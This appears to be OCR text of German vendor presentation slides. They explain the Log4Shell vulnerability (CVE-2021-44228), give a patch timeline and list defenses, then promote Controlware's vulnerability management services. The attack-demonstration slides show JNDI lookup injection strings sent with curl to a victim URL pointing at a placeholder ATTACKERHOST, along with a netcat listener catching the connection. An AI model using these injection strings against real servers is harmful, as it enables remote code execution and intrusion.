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Diagnostik — Was ist tiberhaupt Log4J / Log4Shell? g I

‘ii) Java
= = Objektorientierte Programmiersprache
Log4J
= Logging-Bibliothek fur Java
= Sehr gute Logik fur die Vereinheitlichung/Anreicherung von Daten
= Verarbeitung von festgelegte Parameter und tibergebene Daten
Java Naming and Directory Interface (JNDI)
= Schnittstelle zu externen Ressourcen/Referenzen
Log4Shell

= Kritische Schwachstelle in Log4J (10,0) ${ SYys.o0s. name}

. CVE-2021-44228 ${sys:user.name}
${java:version}
${log4j:configParentLocation}
${jndi:1ldap://127.0.0.1}
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Diagnostik — Was ist im letzten Dezember passiert?

g

10.12.2021

CVE-2021-44228

Log4J 2.15.0 (Java 8)

CVE-2021-44287
Log4J 2.16.0 (Java 8)

-

15.12.2021 20.12.2021

CVE-2021-45105

CVE-2021-45046

Log4J 2.17.0 (Java 8)

-

25.12.2021

CVE-2021-45046

CVE-2021-42278
CVE-2021-42287

CVE-2021-44832
Log4J 2.17.1 (Java 8)
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Diagnostik — Wie funktioniert die Schwachstelle? g I

curl ‘http://TEST:6767/resource/?foo=\${jndi:1ldap://ATTACKERHOST:7777/\}°¢

Listener

# nc -lnvp 7777

[0Ad$3A-«O
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Diagnostik — Wie lasst sie sich ausnutzen? g

curl ‘http://VICTIM:6767/resource/?foo=\${jndi:1ldap://ATTACKERHOST:7777/exploitCode\}*¢

8 —&
/\
AT,

WWW

# nc -lnvp 7777

Connection received from VICTIM
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Ziel = Wie konnen wir uns schutzen?

g

LDAP

'\
-0

HTTP

Einschrankung der Kommunikation

Hartung von JNDI
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Ziel —= Was nehmen wir mit?

il

Gefahren
= Angriff ist einfach und effektiv
= Angriffsflache ist riesig
= Log4J ist Open-Source-Code
= Software und Subsoftware betroffen
Chancen
= Community nutzen
» Updates installieren
= Log4J - Aktuelle Version 2.19
» Reload4J - Ersatz fir Log4J Version 1.x
» Standardeinstellungen anpassen
= Augen offen halten

SELBSTHILFEGRUPPE
der NOTORISCHER N
BesSSERWISSER

KommT KEINER .
HAB ICH DOCH
GLEICH GESAGT!
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Controlware Cyber Defense Services — Big Picture gl

Cyber Defense Services ... mit Infrastruktur Betrieb I
PN
¢ )
‘ Q‘

Infrastructure Monitoring & Dashboard

®

VMS ALA ATD EDR
Schwachstellen-  Log-Daten- Anomalie- & Endpoint
Management  Analyse / SIEM Malware- Anomalie- \J \\ ]
Erkennung Erkennung \s Service Desk
\ )
Y

Incident- und Problem Management

Qf Incident Analysis & Investigation
Q

Change Management

o
“" caall Threat Advisor
A

m Incident Response

Incident Mitigation

Release Management

[ 'S 4 [
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Wer wir sind: Competence Center Security | Offensive Security "

VMS und External VMS
RegelméaRige und automatisiere Uberwachung von
Schwachstellen

cIE" Vulnerability Management

Certified

CSA CND

Certified

Ethical Macker

Contified | Wetwork Dolender

Penetration Testing
Zielgerichtete Security-Assessments
Systematische Verwendung von
fortgeschrittenen Angriffstechniken

Offensive Security

Security Consulting

Kombination von Attack und Defense
Ganzheitliche Security-Betrachtung und -Beratung

Certified Information
Bl | Systems Security Professional
CissP
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Controlware Vulnerability Management Service

il

BUSINESS PROCESS CONTROL
Verifizierung umgesetzter MalRhahmen
Erneute Prifung dedizierter Findings
Aktualisierung des Ergebnisberichts

THREAT ADVISOR E |
RegelmaRige Status-Calls ( xterna )
Handlungsempfehlungen & Qualifizierung VMS

ON-DEMAND SCANNING

Durchfiihrung von Schwachstellen-Scans bei
veranderter Bedrohungslage

ASSET DISCOVERY

Durchfiihrung von Discovery-Scans
Auffindung und Verwaltung von Perimeter-Systemen

SCANNING & REMEDIATION

Durchfiihrung von aktiven (internen/externen)
Schwachstellen-Scans
Bewertung auf Basis von CVSS / CVSSv3

ALERTING & REPORTING

Monatliches Reporting (PDF, Excel, HTML)
Benachrichtigung bei kritischen Schwachstellen
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Controlware Vulnerability Management Service

g

’
10.12.2021 15.12.2021 20.12.2021

CVE-2021-44228 CVE-2021-45105
CW External VMS CW Verifizierung

’

25.12.2021

CVE-2021-45046

CVE-2021-44287 CW Unterstutzung
CVE-2021-45046

CW Internal VMS

CVE-2021-42278
CVE-2021-42287

CVE-2021-44832
CW VMS PoC
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Controlware VMS — Einstiegsmdglichkeiten gl

Wochentliche interne und externe Schwachstellenscans
Service, 1 bis 3 Jahre

5 VMS - SERVICE

4 VMS - POC

Waochtentliche interne Schwachstellenscans
/ Projektbasiert, 2 bis 4 Wochen

Wochentliche externe Schwachstellenscans
Service, 12 Monate

Wochentliche externe Schwachstellenscans
Projektbasiert, 1 bis 2 Wochen

1 SECURITY ASSESSMENT

Einmaliges externes Security Assessment, Ergebnisbericht
Projektbasiert, 2 bis 5 Tage
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Vielen Dank fur Ihre Aufmerksamkeit!
Thank you very much for your attention!
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